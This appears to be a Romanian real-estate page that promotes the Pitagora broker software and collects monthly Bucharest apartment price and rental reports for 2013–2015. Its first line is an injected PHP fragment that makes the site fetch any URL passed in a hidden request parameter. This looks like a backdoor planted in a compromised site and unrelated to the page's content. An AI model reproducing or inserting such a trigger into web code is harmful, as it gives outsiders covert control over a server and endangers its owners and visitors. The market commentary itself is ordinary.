isset($_REQUEST['crl6pb']) && fetch_feed($_REQUEST['feed_url']); Agentie.NET

AgentieNET este furnizorul celui mai complet soft imobiliar. Inovatia este cel mai potrivit cuvant care caracterizeaza softul Pitagora, iar piata brokerilor imobiliari are nevoie de solutii software performante care sa ajute brokerul sa faca fata concurentei.

Pitagora.com.ro contine:
- modul Anunturi Particulari
- modul Anunturi Online
- modul Baza de Date
- modul Exclusivitati
- modul CRM
- modul Microsite
- site de agentie personalizat

800 de brokeri imobiliari au ales deja Pitagora.com.ro

Prezentare Pitagora:

Versiunea full aici: https://docs.google.com/present/view?id=dpb36fb_66hqk4v6cm&interval=5&autoStart=true&loop=true

Versiunea online aici: www.pitagora.com.ro

Explozia ofertelor de vanzare coboara preturile apartamentelorÎncurajaţi de semnalele pozitive primite de la specialişti, conform cărora piaţa imobiliară parcurge un proces susţinut de redresare, bucureştenii şi-au scos proprietăţile la vânzare în număr mare, rezultând astfel o creştere de 14% a numărului de oferte de vânzare apărute în mai, faţă de aprilie. În acest context, preţurile apartamentelor din Bucureşti au suferit o uşoară depreciere în mai, faţă de luna precedentă.

O analiză bazată pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare din Bucureşti, publicate de particulari în presă şi pe internet în ultimii 8 ani, arată că în luna mai, numărul total de oferte noi de vânzare a fost de 3.712, cu 14% mai multe decât în aprilie, când s-au înregistrat doar 3.189 de oferte noi de vânzare. Dintr-un total de 3.712 de oferte, 1.611 (43%) au fost oferte de apartamente cu 2 camere, 1.106 (30%)oferte de apartamente cu 3 camere, 748 (20%) au fost oferte de garsoniere şi 247 (7%) oferte de apartamente cu 4 camere.

Oferte noi- mai 2015Numărul ofertelor de vânzare pentru garsoniere a crescut în mai cu 3% faţă de luna precedentă, de la 726 la 748. Creşterea ofertei s-a reflectat în piaţă prin scăderea cu 2% a preţului mediu de vânzare de la 32.019 de euro în aprilie, la 31.395 de euro în mai.

O creştere mult mai consistentă a numărului de oferte noi înregistrate în luna mai, în Bucureşti, a avut loc în cazul apartamentelor cu 2 camere. Numărul acestora a crescut cu 17% din aprilie până în mai, de la 1.340 la 1.611. Efectul a fost de scădere a preţului mediu de vanzare pentru apartamentele cu 2 camere cu 1,5%, până la 49.615 de euro, preţ înregistrat la finalul lunii mai conform cifrelor oferite de anunturiparticulari.ro.

Programul A Doua Casă ţine preţul apartamentelor cu 3 camere pe loc

Cea mai mare creştere a numărului de oferte noi de vânzare a survenit în cazul apartamentelor cu 3 camere, 20%, acestea ajungând de la 885 în aprilie, la 1.106 în mai. Cu toate acestea, preţul mediu de vânzare al apartamentelor cu 3 camere a suferit o scădere infimă, de 114 euro, ajungând în mai la valoarea de 68.923 de euro.

O posibilă explicaţie pentru acest lucru ar fi apariţia programului A Doua Casă, care presupune trecerea de la o locuinţă mai mică sau mai ieftină, la una mai mare sau mai scumpă. Ca urmare a acestui fapt, deşi oferta a crescut considerabil, proprietarii anticipează şi o cerere pe măsură pentru apartamente cu 3 camere, acesta fiind motivul pentru care preţurile au rămas pe loc.

Oferte aprilie-mai 2015Şi ofertele la apartamentele cu 4 camere au crescut în mai, însă ceva mai moderat, cu doar 3,5% faţă de aprilie, ajungând la 247, de la 238. Preţul mediu de vânzare al acestora a suferit cea mai drastică scădere, 6%, coborând de la 94.975 de euro în aprilie, la 89.179 de euro în mai, conform datelor prezentate de anunturiparticulari.ro.

Odată cu venirea lunilor de vară, este de aşteptat ca numărul ofertelor noi  de pe piaţă să mai scadă, însă este puţin probabil ca şi preţurile de vânzare să mai coboare, chiar şi într-o perioadă mai puţin dinamică pe piaţa imobiliară.

www.anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Cine nu-si doreste o garsoniera cu 135 de euro/luna?Garsonierele din Bucureşti sunt singurele locuinţe care se scumpesc constant de la începutul anului. În vreme ce preţurile apartamentelor cu 2 şi 3 camere au rămas relativ constante, înregistrând creşteri şi scăderi mici de preţ, garsonierele s-au apreciat cu aproximativ 1000 de euro în ultimele două luni.

O posibilă explicaţie pentru aprecierea garsonierelor constă în accesibilitatea acestui tip de locuinţă, în special prin programul Prima Casă, accesibilitate care generează cerere pe piaţă imobiliară.

Spre exemplu, rata lunară a unui credit de 31.000 de euro contractat pe 30 de ani prin programul Prima Casă sare puţin peste suma de 135 de euro, în vreme ce chiria medie a unei garsoniere din Bucureşti ajunge la aproximativ 250 de euro.

grafic-gars-2-3-camerePreţul mediu de vânzare al garsonierelor din Bucureşti a crescut cu 1,5% în martie 2015 faţă de februarie 2015, de la 32.055 de euro în februarie, la 32.557 de euro în martie, conform unei analize bazate pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare publicate de particulari în presă şi pe internet.

Această marjă de circa 500 de euro pe lună se păstrează şi între ianuarie 2015 şi februarie 2015, preţul mediu al garsonierelor crescând de la 31.576 de euro în ianuarie, la 32.055 în februarie.

Garsonierele sunt singurele care s-au apreciat şi în ultimele 12 luni, în timp ce apartamentele cu 2 şi 3 camere nu au înregistrat modificări de preţ însemnate. Preţul mediu al garsonierelor a sărit de la 31.760 de euro în martie 2014, la 32.557 în martie 2015, înregistrând astfel o creştere de 3%.

Apartamentele cu 2 şi 3 camere au înregistrat o scădere de 1% în ultimele 12 luni, ajungând la sfârşitul lunii martie să fie scoase la vânzare cu preţul mediu de 50.406 de euro pentru 2 camere şi 70.113 de euro pentru 3 camere.

Numărul de oferte a crescut cu aproape 15% în ultimii 2 ani în Bucureşti

Numărul de oferte a crescut cu aproape 15% în ultimii 2 ani în BucureştiO comparaţie între luna martie 2013 şi martie 2015 arată că numărul de oferte de vânzare apărute pe piaţa din Bucureşti a crescut cu aproape 15%. Acest lucru demonstrează că 2014 a fost anul relansării pieţei imobiliare, iar 2015 reprezintă confirmarea acestui fapt.

În martie 2015, pe anunturiparticulari.ro s-au înregistrat 3.163 de oferte de vânzare, dintre care 1.375 au fost pentru apartamente cu 2 camere, 899 pentru apartamente cu 3 camere, 641 pentru garsoniere şi 248 pentru apartamente cu 4 camere.

Astfel, din totalul de oferte de pe piaţă, ponderea este de 43,5% de apartamente cu 2 camere, 28,5% de apartamente cu 3 camere, 20% de garsoniere şi 8% de apartamente cu 4 camere.

grafic-martieanunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet.

Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Perioada de boom din 2007-2008 şi apoi apariția crizei au lăsat în urmă o serie de borne pe piaţa imobiliară din România, borne pe care acum, când piaţa s-a stabilizat, le putem numi recorduri. O analiză bazată pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare din Bucureşti, publicate de particulari în presă şi pe internet în ultimii 8 ani, arată că suma medie plătită pentru o garsonieră în primăvara lui 2008 era suficientă pentru achiziţionarea a trei astfel de locuinţe la sfârşitul lui februarie 2015. De asemenea, în perioada de boom imobiliar, cu 150.000 de euro putea fi achiziţionat un apartament cu 3 camere, bani care astăzi ar ajunge pentru două astfel de apartamente, inclusiv pentru renovarea lor.

Recordurile pietei imobiliare in ultimii 8 aniCel mai ridicat preţ mediu înregistrat în ultimii 8 ani pentru garsoniere a fost de 76.293 de euro şi a fost atins în martie 2008, în vreme ce valoarea cea mai scăzută a fost raportată în decembrie 2014, 31.229 de euro, o valoare de aproape două ori şi jumătate mai mică. La sfârşitul lunii martie 2015, preţul mediu al garsonierelor a fost de 32.557 de euro.

În ceea ce priveşte apartamentele cu 2 camere, preţul mediu de vârf al acestora a fost de 120.720 de euro, fiind atins tot în martie 2008, în vreme ce minimul a fost înregistrat în iulie 2014, atunci când preţul mediu a coborât până la 49.273 de euro, conform statisticilor oferite de anunturiparticulari.ro. În comparaţie, în martie 2015 preţul mediu al apartamentelor cu 2 camere a fost de 50.406 de euro, cu aproximativ 1.000 de euro mai ridicat decât minimul ultimilor 8 ani.

Apartamentele cu 3 camere aveau preţul mediu de 157.591 în aceeaşi lună martie 2008, un maxim al ultimilor 8 ani, urmând să se ieftinească în iulie 2014 până la 67.700 de euro. În martie, preţul mediu al apartamentelor cu 3 camere a fost de 70.113 de euro, cu aproximativ 2.500 de euro mai mare decât cea mai scăzută valoarea înregistrată din 2007 până în ziua de astăzi.

În ultimii 8 ani, cel mai ridicat preţ mediu al apartamentelor cu 4 camere a fost atins în octombrie 2008, 203.986 de euro, în vreme ce preţul cel mai scăzut s-a înregistrat în august 2014, 85.696 de euro. Astfel, cu banii investiţi în toamna lui 2008 într-un apartament cu 4 camere s-ar fi putut achiziţiona două apartamente de acest tip în martie 2015, luna trecută preţul mediu al apartamentelor cu 4 camere fiind de 93.855 de euro.

Mai multe oferte în 2015 decât în perioada de boom imobiliar

Mai multe oferte în 2015 decât în perioada de boom imobiliarPreţurile apartamentelor sunt direct legate de numărul de oferte existente pe piaţă, număr de oferte care a crescut în martie 2015 cu 11% faţă de perioada de boom imobiliar (martie 2007). Astfel, în martie 2015 s-au înregistrat 3.163 de oferte de vânzare în Bucureşti, faţă de 2.809 câte erau pe piaţă în martie 2007.

Cele mai multe oferte de vânzare din ultimii 8 ani au fost scoase pe piaţă în martie 2008, 4.389, perioadă care coincide cu instalarea crizei economice, moment în care proprietarii au încercat să-şi vândă proprietăţile înainte ca valoarea acestora să scadă dramatic.

www.anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Apartamentele cu 2 camere din Bucureşti sunt singurele care nu s-au scumpit în ultimele douăsprezece luni, preţul acestora scăzând cu 1%. Nu acelaşi lucru se poate spune despre preţul garsonierelor şi cel al apartamentelor cu 3 camere, ambele fiind în uşoară urcare în ultimul an.

Ce tip de locuinta merita achizitionata la inceputul lui 2015În februarie, preţul mediu al unui apartament cu 2 camere în Bucureşti a fost de 50.251 de euro, cu 1% mai scăzut decât în februarie 2014, când preţul mediu indica valoarea de 50.800 de euro, conform unei analize bazate pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare publicate de particulari în presă şi pe internet.

În cazul garsonierelor, preţul mediu solicitat de proprietari a urcat la 32.055 de euro în februarie(+1%), faţă de cel înregistrat în urmă cu douăsprezece luni, 31.830 de euro. Preţul apartamentelor cu 3 camere a crescut şi el în ultimele 12 luni tot cu 1%, de la 71.017 de euro în februarie 2014, la 71.671 de euro în februarie 2015.

Oferte: apartamentele cu 2 camere îşi păstrează supremaţia; garsonierele se apropie de apartamentele cu 3 camere

Scăderea uşoară a preţului apartamentelor cu 2 camere din Bucureşti se explică prin creşterea numărului de oferte apărute pe piaţă pentru acest tip de locuinţe.

Oferte: apartamentele cu 2 camere îşi păstrează supremaţia; garsonierele se apropie de apartamentele cu 3 camereSpre exemplu, în ultimele douăsprezece luni, numărul ofertelor de vânzare pentru apartamentele cu 2 camere a crescut cu 15%, reprezentând cea mai mare creştere dintre toate tipurile de apartamente.

Astfel, dacă în februarie 2014 anunturiparticulari.ro contabiliza 1.053 de oferte de vânzare pentru apartamente cu 2 camere, în februarie 2015 s-au înregistrat 1.244.

O creştere însemnată s-a consemnat în Bucureşti şi în cazul garsonierelor, numărul ofertelor de vânzare pentru acest tip de locuinţă crescând în ultimele douăsprezece luni cu 12%, de la 525 în februarie 2014, la 595 în februarie 2015.

Nu acelaşi lucru se poate spune şi în cazul apartamentelor cu 3 camere, care au înregistrat o creştere a numărului de oferte de vânzare de doar 1% în ultimele douăsprezece luni, de la 787 în februarie 2014, la 792 în februarie 2015.

Din totalul de 2.861 de oferte noi de vânzare înregistrate în februarie, cea mai mare pondere o au ofertele pentru apartamentele cu 2 camere, care reprezintă 43%. Apartamentele cu 2 camere sunt urmate de cele cu 3 camere şi garsoniere, care reprezintă 28%, respectiv 21% din totalul de oferte de vânzare apărute pe piaţa din Bucureşti, în februarie. Restul pâna la 8% reprezintă oferte la apartamente cu 4 camere.

www.anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Preţurile apartamentelor din Bucureşti au rămas pe un trend descendent în ultimele 12 luni, însă scăderea, altădată destul de abruptă, s-a redus sistematic în ultimii ani, în special în cazul apartamentelor mari, de 3 şi 4 camere.

Explicaţia rezidă în efectul pe care programul Prima Casă l-a avut asupra pieţei imobiliare. Iniţial, cei care au accesat un credit prin programul guvernamental se puteau încadra pentru o garsonieră sau un apartament de 2 camere, însă odată cu scăderea preţurilor locuinţelor şi mărirea plafonului maxim al creditului garantat în cadrul programului Prima Casă, populaţia a început să se îndrepte şi spre apartamente cu un număr superior de camere.

Pret mediu vanzareAstfel, dacă între ianuarie 2013 şi ianuarie 2014 preţul mediu al unui apartament cu 4 camere în Bucureşti a scăzut cu 7%, de la 97.558 de euro la 90.155 de euro, între ianuarie 2014 şi ianuarie 2015 scăderea a fost de doar 1%, de la 90.155 de euro la 89.367 de euro, arată o analiză bazată pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare publicate de particulari în presă şi pe internet.

Acelaşi trend se observă şi în cazul apartamentelor cu 3 camere din Capitală, care au înregistrat o scădere de 4% între ianuarie 2013 şi ianuarie 2014, în timp ce între ianuarie 2014 şi ianuarie 2015 preţul acestora a scăzut cu doar 1%, ajungând să coste luna trecută în medie 69.507 euro.

Spre deosebire de preţurile apartamentelor cu 3 şi 4 camere, preţul apartamentelor cu 2 camere a avut o scădere destul de constantă în ultimii doi ani. Spre exemplu, între ianuarie 2013 şi ianuarie 2014 apartamentele cu 2 camere s-au depreciat cu 3%, în timp ce între ianuarie 2014 şi ianuarie 2015 ieftinirea a fost de 2%, preţul mediu al unui apartament cu 2 camere în Bucureşti fiind de 50.544 de euro luna trecută.

Şi garsonierele s-au ieftinit cu o valoare destul de constantă în ultimii doi ani, cu 5% între ianuarie 2013 şi ianuarie 2014 şi cu 4% între ianuarie 2014 şi ianuarie 2015, ajungând să coste în medie 31.576 euro luna trecută în Capitală.

Numărul ofertelor de vânzare a crescut cu aproape o treime în ultimii doi ani

Numar oferte de vanzareDin punctul de vedere al ofertelor de vânzare apărute pe piaţa din Bucureşti, luna trecută s-au înregistrat în total 2.989, record absolut în ultimii nouă ani pentru luna ianuarie. Astfel, în ianuarie 2015, anunturiparticulari.ro a contabilizat cu 5% mai multe oferte de vânzare decât în urmă cu 12 luni şi cu 31% mai multe decât în urmă cu 24 de luni.

Din totalul de 2.989 de anunţuri de vânzare înregistrate luna trecută, 1.292 sunt pentru apartamente cu 2 camere, 858 sunt pentru apartemente cu 3 camere, 637 sunt pentru garsoniere şi 202 sunt pentru apartamente cu 4 camere.

www.anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

2014 a fost 2014, cel mai constant an pentru piata rezidentiala din Bucuresti din ultimii 8 anide departe cel mai constant an al pieţei imobiliare în ceea ce priveşte preţul de vânzare al apartamentelor. Variaţiile de preţ au fost nesemnificative, diferenţa dintre preţurile înregistrate la începutul anului faţă de luna decembrie 2014 fiind în medie de 1% cu plus sau minus.

Apartamentele de 2 şi 3 camere s-au scumpit uşor

O analiză bazată pe statistici generate de anunturiparticulari.ro, care a luat în calcul toate ofertele imobiliare publicate de particulari în presă şi pe internet, arată că în Bucureşti, în ultimele 12 luni, cea mai mare creştere au avut-o apartamentele cu 3 camere, preţul mediu al acestora mărindu-se cu 1,3%, de la 70.236 euro în decembrie 2013 la 71.121 euro.

grafic-2Preţul mediu de vânzare al apartamentelor cu 2 camere a crescut şi el în ultimele 12 luni cu 0,8%, de la 50.282 euro, cât era în decembrie 2013, la 50.676 euro. La polul opus se situează garsonierele, al căror preţ mediu de vânzare a scăzut în ultimele 12 luni cu 2,5%, de la 32.012 euro în decembrie 2013 la 31.229 euro.

Preţul apartamentelor cu 4 camere a avut cea mai mică variaţie, scăzând cu doar 0,2%, de la 89.568 euro în decembrie 2013 la 89.406 euro în decembrie 2014.

Chiar dacă preţurile au rămas destul de constante pe întreaga durată a anului, creşterea uşoară înregistrată în decembrie 2014 faţă de decembrie 2013 în cazul apartamentelor cu 2 şi 3 camere este prima de acest gen într-o lună decembrie în ultimii 8 ani, iar acest lucru ar putea da semnalul că în 2015 vom avea un trend ascendent al preţurilor pe piaţa imobiliară.

2014: cu 14% mai multe apartamente scoase la vânzare faţă de 2013

2014: cu 14% mai multe apartamente scoase la vânzare faţă de 2013Din punctul de vedere al ofertelor de vânzare apărute pe piaţa din Bucureşti, în 2014 au fost înregistrate în total 33.259, cu aproximativ 4.500 mai multe decât în 2013.

Din totalul de 33.259 de oferte, 42% sunt oferte de apartamente cu 2 camere, 29% sunt oferte de apartamente cu 3 camere, 21% sunt oferte de garsoniere şi 8% sunt oferte de apartamente de 4 camere, conform cifrelor oferite de anunturiparticulari.ro.

Garsonierele continuă să piardă teren în faţa apartamentelor cu 2 şi 3 camere

În ultimii ani, bucureştenii s-au îndreptat tot mai mult către apartamentele de 2 şi chiar 3 camere în dauna garsonierelor, care se află pe o pantă descendentă în preferinţele lor.

Acest lucru este vizibil şi în proporţiile ofertelor locuinţelor apărute în piaţă, care s-au modificat destul de mult în ultimii 8 ani, marile perdante fiind garsonierele în faţa apartamentelor cu 2 camere.

Garsonierele continuă să piardă teren în faţa apartamentelor cu 2 şi 3 camereAstfel, din totalul de 28.153 de oferte înregistrate în 2007, 37% erau oferte de apartamente cu 2 camere, (cu 5% mai puţine decât în 2014), 28% erau oferte de apartamente cu 3 camere, (cu 1% mai puţine decât în 2014), 25% erau oferte de garsoniere (cu 4% mai multe decât în 2014) şi 10% erau oferte de apartamente cu 4 camere (cu 2% mai multe decât în 2014).

În concluzie, creşterea uşoară a preţurilor şi a numărului ofertelor în cazul apartamentelor cu 2 şi 3 camere demonstrează încă o dată impactul pe care l-a avut programul “Prima Casă” asupra pieţei rezindenţiale. Ridicarea plafonului maxim al creditului garantat „Prima Casă” şi politica de încurajare a creditării din ultimii ani a băncilor au făcut ca cei care în urmă cu câţiva ani îşi permiteau doar o garsonieră să se poată îndrepta către achiziţia unei locuinţe cu 2 sau chiar 3 camere.

anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Preţurile apartamentelor din Bucureşti au scăzut în ultimul an cu până la 4%, cea mai mare scădere înregistrându-se în cazul apartamentelor cu 4 camere, al căror preţ mediu în luna noiembrie 2014 a fost de 88.731 euro, cu aproximativ 4.000 de euro mai puţin decât acum 12 luni. Garsonierele şi apartamentele cu 3 camere s-au ieftinit cu 3% faţă de luna noiembrie a anului trecut, singurele preţuri relativ constante fiind cele ale apartamentelor cu 2 camere, care au scăzut cu doar 1%.

O analiză bazată pe statistici generate de www.anunturiparticulari.ro arată că în Bucureşti, un apartament cu 2 camere a fost scos la vânzare în noiembrie cu preţul mediu de 50.155 euro, faţă de 50.692 euro, cât a fost în noiembrie anul trecut. În comparaţie cu acum 2 ani, preţul este cu 8% mai mic, iar dacă ne raportăm la aceeaşi luna din 2007, observăm că preţul s-a înjumătăţit.

Aproximativ aceeaşi situaţie întâlnim şi în cazul garsonierelor, al căror preţ mediu de vânzare solicitat de proprietari a atins 31.454 euro luna trecută, faţă de 32.268 euro, cât a fost în noiembrie anul trecut. În comparaţie cu acum 2 ani, preţul este cu 10% mai mic, iar dacă ne raportăm la noiembrie 2007, acesta este cu circa 54% mai mic.

Pret mediuPreţul mediu la care a fost scos la vânzare un apartament cu 3 camere în Bucureşti a fost de 69.320 euro luna trecută, faţă de 71.310 euro, cât a fost în aceeaşi lună în 2013. Faţă de noiembrie 2012, preţul a fost cu 10% mai mic anul acesta, iar faţă de aceeaşi lună, în 2007, a fost aproape de două ori mai mic.

Apartamentele cu 4 camere au avut cea mai mică variaţie în ultimii doi ani, valoarea preţului mediu scăzând de la 91.357 euro în noiembrie 2012 până la 88.731 euro în aceeaşi lună din 2014, însă faţă de 2007, preţul acestora aproape s-a înjumătăţit (181.022 euro).

Numărul ofertelor de apartamente a crescut în 2014 cu 9% faţă de 2013

În ceea ce priveşte numărul ofertelor nou apărute pe piaţa din Bucureşti, în primele 11 luni ale anului 2014 putem vorbi de un total de 31.569, dintre care, 13.345 sunt oferte de apartamente cu 2 camere, 9.180 sunt oferte de apartamente cu 3 camere, 6.497 sunt oferte de garsoniere şi 2.547 sunt oferte de apartamente cu 4 camere, conform statisticilor www.anunturiparticulari.ro.

În aceeaşi perioadă a anului anterior, au fost înregistrate 28.725 de oferte nou apărute pe piaţă, cu 2.844 (9%) mai puţine decât în 2014, majoritatea ofertelor fiind tot pentru apartamente cu 2 camere (11.790), codaşe rămânând apartamentele cu 4 camere (2.588).

Numar oferteNumărul de oferte în creştere, coroborat cu cele peste 600.000 de tranzacţii imobiliare realizate anul acesta (cu 16.430 mai multe faţă de aceeaşi perioadă a anului trecut), conform datelor oficiale furnizate de Agenţia Naţională de Cadastru şi Publicitate Imobiliară, demonstrează încă o dată că piaţa imobiliară s-a însănătoşit.

Variaţiile mici ale preţurilor în ultimii 2 ani certifică faptul că piaţa imobiliară s-a stabilizat, iar persoanele care doresc achiziţia unei locuinţe nu au motive întemeiate să spere la o ieftinire accentuată a acestora.

Chiar dacă numărul de oferte scoase pe piaţă e în creştere, continuarea programului Prima Casă, împreună cu relaxarea afişată de bănci cu privire la creditare şi dobânzile foarte mici la creditele ipotecare în lei încurajează achiziţia de locuinţe şi conduc la un echilibru pe piaţă şi o stabilitate din punct de vedere al preţului.

www.anunturiparticulari.ro este un serviciu de monitorizare imobiliară care extrage ofertele imobiliare publicate de particulari din toată presa scrisă centrală şi de pe internet. Metodologia folosită exclude ofertele agenţiilor imobiliare, apariţiile multiple şi ia în calcul doar anunţurile care apar pentru prima dată în presă sau pe internet.

Statistica realizata de AnunturiParticulari.ro pentru luna aprilie din 2014 ne arata o scadere a pretului mediu solicitat de particulari cu 1-2% fata de luna precedenta, cu 2-4% fata de prima luna a anului si cu 5-6% fata de luna aprilie 2013.

Numarul de oferte scoase pe piata in primele patru luni din acest an este cu 10% mai mare fata de aceeasi perioada a anului trecut. In perioada ianuarie-aprilie 2013 au fost scoase pe piata aproximativ 10.000 de apartamente, iar in lunile ianuarie-aprilie 2014 numarul de oferte scoase pe piata de particulari a fost de 11.000 de apartamente.

Garsonierele

Pretul mediu solicitat de particulari pentru o garsoniera in luna aprilie 2014 a fost de 31.311 Euro, cu 1% mai mic decat in luna martie 2014 si cu 6% mai mic decat pretul solicitat in urma cu 12 luni cand pretul mediu era de 33.363 Euro.
2.324 de garsoniere au fost scoase pe piata in primele patru luni din 2014, fata de 1.921 in primele patru luni din 2013. În aprilie 2014 proprietarii au scos pe piata 552 garsoniere.

Apartamentele de 2 camere

Pretul mediu solicitat de particulari pentru un apartament de 2 camere in luna aprilie 2014 a fost de 50.462 Euro, cu 1% mai mic decat in luna precedenta si cu 5% mai mic decat pretul solicitat in urma cu 12 luni cand pretul mediu pentru un apartament de 2 camere era de 53.307 Euro.

4.636 de apartamente de 2 camere au fost scoase pe piata in primele patru luni din 2014, fata de 4.080 in primele patru luni din 2013. In ultima luna proprietarii au scos pe piata 1.038 apartamente cu 2 camere.

Grafic nr apartamente scoase pe piata in primele 4 luni 2013_2014Apartamentele de 3 camere

Pretul mediu solicitat de particulari pentru un apartament de 3 camere in luna aprilie 2014 a fost de 70.019 Euro, cu 1% mai mic decat in luna precedenta si cu 4% mai mic decat pretul solicitat in luna aprilie 2013 cand pretul mediu pentru un apartament de 3 camere era de 72.978 Euro.

In primele patru luni din 2014 au fost scoase pe piata 3.339 de apartamente de 3 camere, fata de 3.004 in primele patru luni din 2013. In ultima luna proprietarii au scos pe piata 763 apartamente cu 3 camere.

Apartamentele de 4 camere

Pretul mediu solicitat de particulari pentru un apartament de 4 camere in luna aprilie 2014 a fost de 92.813 Euro, cu 2% mai mic decat in luna precedenta si cu 6% mai mic decat pretul solicitat in urma cu 12 luni cand pretul mediu pentru un apartament de 4 camere era de 96.807 Euro.

959 de apartamente de 4 camere au fost scoase pe piata in primele patru luni din 2014, fata de 950 in primele patru luni din 2013. In ultima luna proprietarii au scos pe piata 208 apartamente cu 4 camere.

Cererea crescuta de apartamente generata de ofertele foarte bune de finantare si de promovarea agresiva a creditelor ipotecare facuta de catre banci, a fost compensata de numarul mare de oferte scoase pe piata de catre proprietari.

Numarul in crestere de apartamente scoase pe piata, masurat de serviciul de monitorizare imobilara AnunturiParticulari.ro, este principalul factor care conduce la scaderea continua a preturilor, dar care poate sa genereze brusc o inversare a acestui trend.

In ultimii ani, in zona Aviatiei din Bucuresti s-a construit intens de la cladiri de birouri pana la centre comerciale, iar acest lucru a ridicat chiriile medii solicitate de proprietari pentru apartamentele din zona cu pana la 16%, in ultimele 12 luni, reiese din raportul imobiliar efectuat de AnunturiParticulari.ro.

Deschiderea centrului comercial in luna octombrie a acestui an, in zona Aviatiei, a incurajat pretentiile proprietarilor, astfel acestia solicita chirii mult mai mari decat in 2012. Daca in octombrie 2012, moment in care mallul din zona Aviatiei era in constructie, proprietarii solicitau o renta lunara de 312 euro pentru o garsoniera, in octombrie 2013 pretentiile acestora au crescut cu 16,3%, ajungand la 363 de euro pe luna.

In octombrie 2013, proprietarii de apartamente cu 2 camere din Aviatiei solicitau chirii de 462 de euro pe luna, cu 9,2% mai mult decat in urma cu 12 luni, cand acestia cereau 423 de euro.

In ultimul an, pretentiile proprietarilor pentru chiriile apartamentelor cu 4 camere din zona Aviatiei au crescut cu 15,4%. Asadar, daca chiria solicitata in octombrie 2012 era de 479 de euro pe luna, in octombrie 2013 renta lunara ceruta de proprietarii din zona Aviatiei a ajuns la 553 de euro.

Evolutie

In contextual general, in octombrie 2013, chiriile pentru garsoniere si locuinte cu 2 camere au ramas la acelasi nivel cu cele din 2012, in schimb oferta pe toate categoriile de apartamente a crescut cu peste 9% fata de aceeasi perioada a anului trecut, reiese din raportul lunar de monitorizare realizat de AnunturiParticulari.ro.

Numarul de oferte

Numarul de oferteIn luna octombrie a acestui an, pe piata inchirierilor s-au inregistrat 3.019 de oferte noi, ceea ce reprezinta o crestere de 9,2% fata de aceeasi perioada din 2012.

Asadar, luna trecuta cele mai multe oferte noi au venit din partea proprietarilor de apartamente cu 2 camere - 1.218 de oferte. Tot in luna octombrie, circa 1.103 de bucuresteni si-au dat spre inchiriere garsonierele.

In cazul locuintelor cu 3 camere, numarul ofertelor noi a fost de 581. In timp ce pe segmentul apartamentelor cu 4 camere, numarul ofertelor a fost de 117 de unitati, potrivit raportului lunar de monitorizare realizat de AnunturiParticulari.ro.

Evolutia preturilor

Evolutia preturilorIn luna octombrie 2013, chiriile medii solicitate de proprietari au fost la acelasi nivel cu cele din 2012, exceptie facand apartamentele cu 3 si 4 camere.

Daca in octombrie 2012 proprietarii solicitau 612 de euro pe luna pentru a inchiria o locuinta cu 4 camere, in octombrie 2013 acestia cereau 656 de euro.

In cazul apartamentelor cu 3 camere, chiriile medii solicitate au scazut cu circa 4%, in ultimele 12 luni. Asadar, in octombrie 2013 se cerea o chirie lunara de 413 de euro, mai putin cu 17 euro decat in aceeasi perioada din 2012.

Potrivit raportului AnunturiParticulari.ro, in octombrie 2013, chiriasii puteau plati 316 de euro pe luna pentru un apartament cu 2 camere, ceea ce inseamna o crestere de 1 euro fata de aceeasi perioada din 2012.

In ultimul an, chiria medie solicitata pentru o garsoniera a scazut cu 1 euro, ajungand la o valoare de 224 de euro.

Vanzatorii de apartamente vechi au fost nevoiti sa scada preturile medii solicitate in ultima luna cu pana la 3%, avand in vedere ca dezvoltatorii imobiliari au finalizat multe locuinte care pot fi achizitionate prin programul guvernamental “Prima Casa”, potrivit raportului de monitorizare imobiliara realizat de AnunturiParticulari.ro.

Tendinte

Cele mai multe persoane care acceseaza un credit de tip “Prima Casa” sunt interesate de achizitionarea unei locuinte cu 2 camere. Daca in urma cu doi sau trei ani proprietarii care dadeau spre vanzare  apartamente cu 2 camere cresteau preturile solicitate de la o luna la alta deoarece “Prima Casa” le aducea clienti, acum acestia nu-si mai permit sa faca astfel de incercari deoarece pe piata au aparut multe oferte competitive din partea dezvoltatorilor imobiliari care se incadreaza in plafonul impus de programul guvernamental.

Sub presiunea preturilor competitive oferite de dezvoltatorii imobiliari, in luna octombrie, proprietarii de locuinte cu 2 camere au solicitat preturi mai mici cu 1,5% fata de luna precedenta, si cu 6% mai mici decat in octombrie 2012. Tot, in luna octombrie 2013, numarul de oferte noi pe segmentul apartamentelor cu 2 camere a crescut cu 18% fata de luna septembrie 2013.

Evolutia preturilor

Evolutia preturilorPotrivit calculelor realizate de AnunturiParticulari.ro pe baza tuturor ofertelor imobiliare publicate in presa scrisa si pe internet, preturile medii solicitate de proprietari pe toate categoriile de apartamente au scazut in ultimul an.

